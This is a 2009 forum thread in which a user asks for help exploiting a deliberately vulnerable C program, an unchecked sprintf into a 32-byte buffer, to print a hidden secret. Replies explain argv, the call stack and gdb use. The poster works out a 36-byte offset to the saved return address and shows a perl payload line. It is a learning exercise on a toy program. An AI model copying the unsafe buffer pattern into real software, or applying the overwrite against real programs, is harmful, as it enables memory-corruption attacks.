Advertisement
If you have a new account but are having problems posting or verifying your account, please email us on hello@boards.ie for help. Thanks :)
Hello all! Please ensure that you are posting a new thread or question in the appropriate forum. The Feedback forum is overwhelmed with questions that are having to be moved elsewhere. If you need help to verify your account contact hello@boards.ie

Coding Exploits help

Options
  • 11-08-2009 2:37pm
    #1
    Closed Accounts Posts: 5


    Hello there,

    I'm hoping to get help on code I'm working on. There exists a vulnerablilty (buffer overflow I believe):



    /*
    * Read in name and display secret if user is root
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>

    /* The secret string */
    static char *secret = "This is the secret string\n";

    /* Do the work */
    int
    main(int argc, char *argv[])
    {
    char greeting[32];

    /* Check usage */
    if (argc != 2) {
    (void) fprintf(stderr, "Usage: %s name\n", argv[0]);
    exit(EXIT_FAILURE);
    }

    /* Construct a greeting */
    (void) sprintf(greeting, "Hello %s", argv[1]);

    /* Display the greeting */
    (void) printf("%s\n", greeting);

    /* Only display the secret to root */
    if (geteuid() != 0) {
    (void) printf("Sorry %s, you do not have access to the secret\n",
    argv[1]);
    } else {
    (void) printf("%s\n", secret);
    }

    return (0);
    }


    The aim is to take advantage of this exploit in order to print the secret message. Im doing this on Linux and using GDB.
    I am struggling with this and would appreciate any help!

    Thanks


Comments

  • Registered Users Posts: 6,440 ✭✭✭jhegarty


    I see the buffer overflow.


    Now do your own homework.


  • Closed Accounts Posts: 5 eoghanf


    jhegarty wrote: »
    I see the buffer overflow.


    Now do your own homework.

    Yes I believe that overflowing greeting[32] is the first step in achieving this. After this im not sure after this, do I look for the address (void) printf("%s\n", secret); is located at in order to jump there?

    Advice or a bit of direction would be good rather than telling me to do my homework...thanks


  • Closed Accounts Posts: 1,567 ✭✭✭Martyr


    if you overwrite the instruction pointer, all you have to do is supply an address to your own code, that's it.


  • Closed Accounts Posts: 3,981 ✭✭✭[-0-]


    There's a million and one tutorials out there on how to do this. Read The Shellcoder's Handbook.


  • Closed Accounts Posts: 909 ✭✭✭Captain Furball


    Since it's the beginning of August, I doubt this is homework.

    As you know when you start a program from the command line, it will usually take an argument(s).

    yourexploit -name
    netstat -a
    ping localhost

    [php]int main (int argc, char *argv[] )[/php]argc contains the number of arguments passed to the program.
    argv contains the array of arguments. ie; name,date,age, etc....

    You can call argc and argv whatever you like, your just following a convention.

    When you run your program

    [php]./exploit John Mccarthy

    argc = 2
    argv[0] exploit
    argv[1] John[/php]

    [php]if (argc != 2) [/php]This piece of code checks if you supplied 2 arguments to your program. exploit[0], john[1]


    [php]./exploit JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[/php]This is still 2 arguments right?

    [php](void) fprintf(stderr, "Usage: %s name\n", argv[0]);
    exit(EXIT_FAILURE);
    }[/php]The above won't be called.

    ;
    ;

    Now is where the fun begins.

    [php](void) sprintf(greeting, "Hello %s", argv[1]);[/php]Sprintf will replace whatever is in argv[1] with %s and copy that into the buffer greeting.

    For example;

    [php]sprintf(greeting, "Hello %s", Paddy);[/php]Will be
    Hello Paddy
    It doesn't check how long the input is......

    eoghanf wrote:
    Yes I believe that overflowing greeting[32] is the first step in achieving this. After this im not sure after this, do I look for the address (void) printf("%s\n", secret); is located at in order to jump there?

    Advice or a bit of direction would be good rather than telling me to do my homework...thanks

    Yes your correct thats where it is.

    [php]./exploit JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA McCarthy[/php]Will cause your sprintf function to not return when it's finished because you will overwrite it's stack with all them AAAAA's.





    Have you started reading any tutorials yet and if so where are you stuck now? Your obviously stuck somewhere else as your post is 1 days old.


  • Advertisement
  • Closed Accounts Posts: 7,794 ✭✭✭JC 2K3


    If there are 3 elements in argv, argc will be 3, no?


  • Closed Accounts Posts: 909 ✭✭✭Captain Furball


    0, 1, 2


  • Closed Accounts Posts: 7,794 ✭✭✭JC 2K3


    Is 3 elements, 2 is the highest index. argc is the number of elements.

    If you run a program with no arguments, argc is 1, since argv has one element, the command to run the program.


  • Closed Accounts Posts: 909 ✭✭✭Captain Furball


    Oh your correct. I mistyped argv for argc. Good catch.
    I've changed 3 to 2 in my explanation to the original poster.


  • Closed Accounts Posts: 5 eoghanf


    Thanks for the replies lads. I think I was on the right track alright in overwritting the instruction pointer.
    I havent looked at it in a cupla days, but I think I'm going in the right direction. I may have simply been miscounting and not overflowing the buffer by the right amount in order to return to my preferred destination.

    Once I do get back working on it and successfully exploit the program I'll post on how I did it. Until then if somebody else does manage to exploit it it would be great if you post.

    Thanks!


  • Advertisement
  • Closed Accounts Posts: 909 ✭✭✭Captain Furball


    I've seen that reply a thousand times, you've given up and won't be posting back.You jumped into the deep end without understanding the basics.

    http://en.wikipedia.org/wiki/Call_stack
    http://en.wikibooks.org/wiki/X86_Disassembly/Calling_Conventions
    http://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames


  • Closed Accounts Posts: 5 eoghanf


    Thanks Captain Furball, believe me I haven't given up. I'm just very busy at the moment. Anyway...please corret me if any of this is wrong...
    using GDB debugger, I established the address of greeting:

    (gdb) p &greeting
    $1 = (char (*)[32]) 0xbfffed68

    Then I got information on the current stack frame:

    Stack level 0, frame at 0xbfffed90:
    eip = 0x804824a in main (secret.c:21); saved eip 0x80484df
    source language c.
    Arglist at 0xbfffed88, args: argc=2, argv=0xbfffefd4
    Locals at 0xbfffed88, Previous frame's sp is 0xbfffed90
    Saved registers:
    ebp at 0xbfffed88, eip at 0xbfffed8c


    Taking note here of the location of eip (0xbfffed8c), the instruction pointer. So by overwrtting this I can choose where the program goes to.

    (gdb) p/d 0xbfffed8c - 0xbfffed68
    $3 = 36

    so ./exploit a(36 times), will write a's up to the eip. After the 36 a's I enter my destined address.But what is this address?

    I want "This is the secret string" to be printed.
    So how do I go about this?
    I disassembled main using 'disass main' and saw the print statement that prints the secret string:

    0x080482df <main+155>: call 0x8048d00 <printf>

    Is 0x080482df the address I want to jump to??? I guess not because when I enter:

    perl -e 'system "./secret","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdf\x82\x04\x08"'

    I get:

    Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


    Any ideas? Am I wrong in calculating the distance between greeting and the eip? Am I jumping to the wrong location? Or am I completely off...

    thanks


  • Closed Accounts Posts: 909 ✭✭✭Captain Furball


    Hi,

    Your doing ok, but you need to slow down haha.

    start gdb
    [php]gdb greeting[/php]run greeting with your argv
    [php]gdb run jimmy[/php]set breakpoint on sprintf function
    [php]gdb break sprintf[/php]get sprintf frames info
    [php]gdb info frame[/php]get state of registers
    [php]gdb info registers[/php]Save all the info to a text file for later.


    I'm going to try explain it so you understand it a little better.
    Say you have the following c function.

    [php]
    int function(int 1, int 2)
    [/php]

    assembly code equivalent.
    [php]push ebp
    mov ebp,esp
    mov eax, [ebp + 8] <--a
    mov edx, [ebp + 12] <--b
    pop ebp
    ret[/php]
    call function
    [php]call function( 1,2);[/php]

    asm of the call
    [php]
    push 2
    push 1
    call function[/php]

    when you call the function this is what happens.

    number 2 gets pushed onto the stack followed by number 1


    [PHP]00000001
    00000002[/PHP]

    then you push the return address which is the instruction straight after the call.
    So imagine you have the following code.

    [PHP]call function(1,2)
    printf ("hi",);[/PHP]

    The printf is the return address, so what happens is that gets pushed onto the stack too.


    [PHP]
    12345678 <-- return address
    00000001
    00000002
    [/PHP]
    eoghanf wrote:
    so ./exploit a(36 times), will write a's up to the eip. After the 36 a's I enter my destined address.But what is this address?

    The length of the buffer you got is correct.You need to change that return address (eip) so it doesn't get executed.


  • Registered Users Posts: 1,311 ✭✭✭Procasinator


    eoghanf wrote: »
    perl -e 'system "./secret","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdf\x82\x04\x08"'

    You are jumping to the call (printf) statement. What about pushing the arguments (i.e. the secret string) onto the stack?


  • Registered Users Posts: 163 ✭✭stephenlane80


    why don't you rewrite in java, you won't have to worry about a buffer overflow then !!


  • Registered Users Posts: 5,112 ✭✭✭Blowfish


    why don't you rewrite in java, you won't have to worry about a buffer overflow then !!
    In the code itself perhaps, but that doesn't mean the JVM doesn't have weaknesses.


Advertisement